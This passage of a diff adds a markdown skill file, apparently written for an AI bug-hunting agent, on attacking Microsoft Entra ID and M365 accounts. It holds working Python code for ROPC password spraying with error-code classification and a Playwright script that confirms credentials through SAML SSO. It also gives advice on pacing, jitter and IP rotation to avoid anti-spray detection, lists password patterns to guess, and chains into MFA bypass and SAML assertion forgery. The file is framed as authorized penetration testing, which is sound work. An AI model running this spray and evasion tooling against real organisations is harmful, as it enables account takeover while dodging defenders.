+ HARD_CAP = 1 # or 2 — never higher
190
+
191
+ def attempt(email, password):
192
+ state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}
193
+ if state.get(email.lower(), 0) >= HARD_CAP:
194
+ return {"status": "SKIPPED_CAP"}
195
+ body = urllib.parse.urlencode({
196
+ "resource": "https://graph.windows.net",
197
+ "client_id": "1b730954-1685-4b74-9bfd-dac224a7b894", # Microsoft Graph PowerShell
198
+ "client_info": "1",
199
+ "grant_type": "password",
200
+ "username": email,
201
+ "password": password,
202
+ "scope": "openid",
203
+ }).encode()
204
+ state[email.lower()] = state.get(email.lower(), 0) + 1
205
+ json.dump(state, open(ATTEMPT_FILE+".tmp", "w"))
206
+ os.replace(ATTEMPT_FILE+".tmp", ATTEMPT_FILE) # atomic
207
+ req = urllib.request.Request(
208
+ "https://login.microsoftonline.com/common/oauth2/token",
209
+ data=body, method="POST",
210
+ )
211
+ req.add_header("Content-Type", "application/x-www-form-urlencoded")
212
+ try:
213
+ r = urllib.request.urlopen(req, context=ctx, timeout=15)
214
+ body = json.loads(r.read())
215
+ # PARSE AS JSON — see CRITICAL TRAP below about substring matching
216
+ if "access_token" in body: # ← JSON key check, NOT substring
217
+ return {"status": "VALID", "body": body}
218
+ return {"status": "STATUS_200_NO_TOKEN", "body": body}
219
+ except urllib.error.HTTPError as e:
220
+ msg = e.read().decode(errors="ignore")
221
+ for code, status in [
222
+ ("AADSTS50034", "INVALID_USER"),
223
+ ("AADSTS50126", "INVALID_PW"),
224
+ ("AADSTS50053", "LOCKED"),
225
+ ("AADSTS53003", "VALID_CA_BLOCK"),
226
+ ("AADSTS50076", "VALID_MFA"),
227
+ ("AADSTS50079", "VALID_MFA"),
228
+ ]:
229
+ if code in msg:
230
+ return {"status": status, "code": code}
231
+ return {"status": "OTHER", "msg": msg[:200]}
232
+ ```
233
+
234
+ ### ⚠ CRITICAL TRAP — AADSTS50076 body contains literal `"access_token"` substring
235
+
236
+ When CA policy requires MFA and ROPC cannot satisfy it, Entra returns an error body that INCLUDES a `claims` field listing CA policy IDs as a step-up challenge:
237
+
238
+ ```json
239
+ {
240
+ "error": "invalid_grant",
241
+ "error_description": "AADSTS50076: ...you must use multi-factor authentication...",
242
+ "error_codes": [50076],
243
+ "suberror": "basic_action",
244
+ "claims": "{\"access_token\":{\"capolids\":{\"essential\":true,\"values\":[\"<policy-id-1>\",\"<policy-id-2>\"]}}}"
245
+ }
246
+ ```
247
+
248
+ **The `"access_token"` substring appears inside the CA claims challenge JSON.** A loose substring check `if "access_token" in raw_body:` will false-positive every MFA-blocked attempt as a successful token issuance.
249
+
250
+ **Always parse JSON, then check `if "access_token" in parsed_dict:`** — never substring-match on OAuth error bodies. This was discovered in the 2026-05-17 authorized-engagement revalidation where a substring check produced 7 false-positive "CA bypasses" on Sway/Yammer/Bookings/Tunnel client_ids that were actually all enforcing MFA correctly.
251
+
252
+ The `claims.access_token.capolids` values are tenant-internal Conditional Access policy IDs — useful recon enrichment, but NOT a token. Document them in engagement notes as "CA policy IDs that fired" — they're a defender-side breadcrumb, not an attacker-side win.
253
+
254
+ **Pace:**
255
+ - **NEVER use concurrency. Single-threaded, serial, paced. This is a hard rule, not a tuning knob.** Entra has an IP-reputation anti-spray layer that is SEPARATE from per-user Smart Lockout. Concurrency — not attempts-per-user — is what trips it. Once tripped it returns `AADSTS50053` (LOCKED) en masse for accounts you hit only once (mathematically impossible to be real per-user locks → they are IP-level rejections), which (a) **contaminates your existence data** — 50053 is now ambiguous and you've burned the 1/user cap so you can't re-test — and (b) **flags your egress IP as a spray source** in the tenant. Observed live on an authorized engagement: switching from serial to 12 threads produced ~183 false `AADSTS50053` in 15s vs. 1 across 454 paced attempts.
256
+ - The earlier "≤30 req/sec is fine" guidance is MISLEADING for a real tenant — read it as "serial with 1.5–3s jitter," never as "parallelize up to 30/s."
257
+ - Per-user: hard cap from state file is the only thing that matters for lockout-causation; serial pacing is what matters for IP reputation.
258
+ - Random jitter (1.5–5s between attempts) for less-machine-like signature.
259
+ - **Kill-switch:** if >~5 `AADSTS50053` appear in a run where your cap is 1/user, STOP — you've either tripped IP anti-spray (your fault, pace down / rotate IP / wait for cooldown) or detected a real external spray (a finding). Either way, pause and diagnose before continuing.
260
+
261
+ ---
262
+
263
+ ## SAML SSO browser flow (for definitive cred validation when CA blocks ROPC)
264
+
265
+ When ROPC returns AADSTS53003, you've proven the password. To prove it across BOTH auth paths (and capture Microsoft's CA-block page as evidence), walk SAML SSO via Playwright:
266
+
267
+ ```python
268
+ import asyncio
269
+ from playwright.async_api import async_playwright
270
+
271
+ async def saml_validate(target_sp_url, username, password, screenshot_dir):
272
+ async with async_playwright() as p:
273
+ browser = await p.chromium.launch(headless=True, args=["--ignore-certificate-errors"])
274
+ context = await browser.new_context(ignore_https_errors=True)
275
+ page = await context.new_page()
276
+ # Step 1: navigate to SP
277
+ await page.goto(target_sp_url, wait_until="networkidle", timeout=30000)
278
+ # Step 2: click sign-in (selectors vary per SP)
279
+ for sel in ["button:has-text('Sign in')", "a:has-text('Login')", "button:has-text('Azure')"]:
280
+ try:
281
+ await page.locator(sel).first.click(timeout=3000)
282
+ break
283
+ except: continue
284
+ await page.wait_for_load_state("networkidle", timeout=20000)
285
+ # Step 3: submit username at Microsoft
286
+ await page.locator('input[name="loginfmt"], input[type="email"]').first.fill(username)
287
+ await page.locator('input[type="submit"], #idSIButton9').first.click()
288
+ await page.wait_for_load_state("networkidle", timeout=20000)
289
+ # Step 4: submit password
290
+ await page.locator('input[name="passwd"], input[type="password"]').first.fill(password)
291
+ await page.locator('input[type="submit"], #idSIButton9').first.click()
292
+ await page.wait_for_load_state("networkidle", timeout=30000)
293
+ # Step 5: capture
294
+ await page.screenshot(path=f"{screenshot_dir}/saml_final.png", full_page=True)
295
+ content = await page.content()
296
+ cookies = await context.cookies()
297
+ await browser.close()
298
+ # Check outcome
299
+ low = content.lower()
300
+ if "convergedconditionalaccess" in low or "53003" in low:
301
+ return "CA_BLOCKED" # cred valid, CA wall
302
+ elif "verify your identity" in low or "approve sign in" in low:
303
+ return "MFA_REQUIRED" # cred valid, MFA wall
304
+ elif "we couldn't sign you in" in low or "wrong" in low:
305
+ return "INVALID"
306
+ elif "<post-auth-landing-marker>" in low or "dashboard" in low:
307
+ return "FULL_SUCCESS" # session obtained (replace marker per target app)
308
+ return "UNCLEAR"
309
+ ```
310
+
311
+ Microsoft's `ConvergedConditionalAccess` page (PageID in source) is the definitive evidence of CA-block.
312
+
313
+ ---
314
+
315
+ ## Active-attacker detection via lockout differential
316
+
317
+ If you see `AADSTS50053` (LOCKED) on multiple users despite your 1-attempt-per-user cap:
318
+ 1. **You did not cause these locks** (math: 1 < 10).
319
+ 2. **An external attacker is actively spraying the tenant.**
320
+ 3. **Cluster the locked users alphabetically — if they cluster, attacker is using a sorted username list.**
321
+ 4. **Diff lockout count between spray-start and spray-end** — new locks during your session = attacker is active *right now*.
322
+ 5. **Document the locked email list as a finding** (SOC actionable — they pull sign-in logs for those users).
323
+
324
+ This is the **highest-impact byproduct** of any M365 spray engagement. Always track and report.
325
+
326
+ ---
327
+
328
+ ## Common password patterns to spray (multi-brand enterprise targets)
329
+
330
+ - `<BrandName>@<Year>` — `<Brand>@2026`, `Tata@2026`
331
+ - `<BrandName>@123` — `<Brand>@123` (very common)
332
+ - `<PlantCity>@<Year>` — `<City1>@2026`, `<City2>@2026` (production plant cities)
333
+ - `<EmployeeID-as-password>` — common in legacy apps (PAN number, employee code, phone last4)
334
+ - `Password@<year>`, `Welcome@<year>`, `Admin@<year>` — generic defaults
335
+ - `<BrandName>@<Y2-digits>` — `<Brand>@26`
336
+
337
+ **Engagement caveat:** when client provides leaked-cred dumps (stealer logs), use those FIRST. Each leaked cred is 1 cap-attempt against the strongest known guess for that user.
338
+
339
+ ---
340
+
341
+ ## Engagement journaling (mandatory)
342
+
343
+ Every M365 attempt logs to JSONL:
344
+ ```json
345
+ {"ts":"2026-05-08T14:40:53","email":"user1@<client>.example","pw_first4":"<r4>","status":"VALID_CA_BLOCK","code":"AADSTS53003","attempts_used":1}
346
+ ```
347
+
348
+ **Per-user tracker** (atomic):
349
+ ```json
350
+ {"user1@<client>.example": 1, "user2@<client>.example": 1, ...}
351
+ ```
352
+
353
+ **IP rotation log** (per-day):
354
+ ```
355
+ 2026-05-08 <src-ip> <ISP-AS> <operator-handle> Round 2 spray
356
+ ```
357
+
358
+ These three artifacts are deliverable evidence for the report. They survive into the next engagement as state.
359
+
360
+ ---
361
+
362
+ ## Real-world findings template (from authorized-engagement)
363
+
364
+ For the report:
365
+
366
+ **Finding: 261 Entra accounts in pre-existing lockout state**
367
+ - Subject: Active external password-spray campaign detected
368
+ - Evidence: `o365_results.jsonl` filtered to `status=LOCKED`
369
+ - Math: 1-attempt-per-user × 261 LOCKED ≠ our doing
370
+ - SOC action: pull sign-in logs for these 261 accounts over last 30-60 days
371
+
372
+ **Finding: Valid M365 cred — `<user>:<password>` (CA-blocked)**
373
+ - Subject: Confirmed valid credential
374
+ - Evidence: ROPC AADSTS53003 + SAML SSO `ConvergedConditionalAccess` page screenshot
375
+ - Microsoft documentation excerpt: "AADSTS53003 returned only after password validation"
376
+ - Recommendation: force password reset, audit org-wide for similar pattern
377
+
378
+ ---
379
+
380
+ ## Anti-patterns (don't do these)
381
+
382
+ - **DON'T use the leaked cred for the user across multiple resources** — burns the cap with no marginal benefit when CA blocks all paths
383
+ - **DON'T retry after AADSTS50053** — account is locked, you'll just see lockout again
384
+ - **DON'T parallelize ROPC/auth requests AT ALL** — serial + paced only. Concurrency trips Entra's IP-reputation anti-spray (separate from Smart Lockout), floods false `AADSTS50053`, contaminates results, and flags your IP. "Going faster" by adding threads costs more than it saves. The only safe speed-up is removing dead/nonexistent users first (small `GetCredentialType` batches <60), not raising concurrency.
385
+ - **DON'T forget to test ALL Entra tenants** — sister domains often have separate tenants with different password policies
386
+ - **DON'T retract a CA-block finding** — AADSTS53003 means the password is correct; that's the whole point
387
+
388
+ ---
389
+
390
+ ## Tooling
391
+
392
+ ```bash
393
+ pip install --break-system-packages msftrecon o365spray # may need to clone msftrecon from GitHub
394
+ brew install pandoc # for report generation
395
+ go install -v github.com/projectdiscovery/... # PD toolkit for general recon
396
+ ```
397
+
398
+ Pre-built `m365_validator.py` template at engagement working directory `engagement_log/m365_validator.py`. Adapt the `attempt()` function to your engagement.
399
+
400
+ ---
401
+
402
+ ## Related Skills & Chains
403
+
404
+ - **`hunt-mfa-bypass`** — AADSTS50053 (lockout) vs AADSTS50126 (bad password) vs AADSTS50076 (MFA required) is a free factor-presence oracle. Chain primitive: M365 AADSTS50053 lockout differential observed → user has MFA but no CA enforcement on legacy auth → `hunt-mfa-bypass` factor-probe (SMS fallback, voice fallback, OAuth device-code flow, ROPC against legacy endpoint) → Conditional Access bypass via legacy-protocol path.
405
+ - **`hunt-ntlm-info`** — On-prem NTLM topology leak feeds the Entra spray. Chain primitive: SharePoint/Exchange/IIS anon NTLM Type-2 → AV_PAIR decode yields `corp.example.com` → `m365-entra-attack` resolves Entra tenant via openid-configuration → ROPC spray with realistic UPN format.
406
+ - **`okta-attack`** — Hybrid orgs run Okta-as-IdP federated into Entra. Chain primitive: M365 `getuserrealm` returns `NameSpaceType: Federated` with AuthURL pointing to `*.okta.com` → pivot to `okta-attack` for tenant enumeration → Okta ATO → SAML assertion to Entra → full M365 access.
407
+ - **`hunt-saml`** — Federated tenants accept signed SAML assertions; XSW or signature-stripping on the federated IdP bypasses Entra's controls entirely. Chain primitive: `getuserrealm` reveals federation → IdP fingerprinted (ADFS / Okta / PingFederate) → `hunt-saml` XSW1-XSW8 against IdP's `/adfs/ls/` or equivalent → forged assertion → Entra grants access.
408
+ - **`redteam-report-template`** — M365 findings need clear tenant/user/CA-policy framing because the blast radius is "every Microsoft service the org uses." Chain primitive: validated finding from this skill → run through `triage-validation` 7-Question Gate → package via `redteam-report-template` with explicit blast-radius (which apps, which users, which data) for client deliverable.
409
+
410
+ ## Limitations
411
+
412
+ - Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
413
+ - Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
414
+ - Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
415
+
416
+ ### Example
417
+
418
+ ```bash
419
+ # Read-only first step; confirm scope before anything active.
420
+ cat scope.txt # target list from the authorized engagement brief
421
+ ```
422
+
423
+ > Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.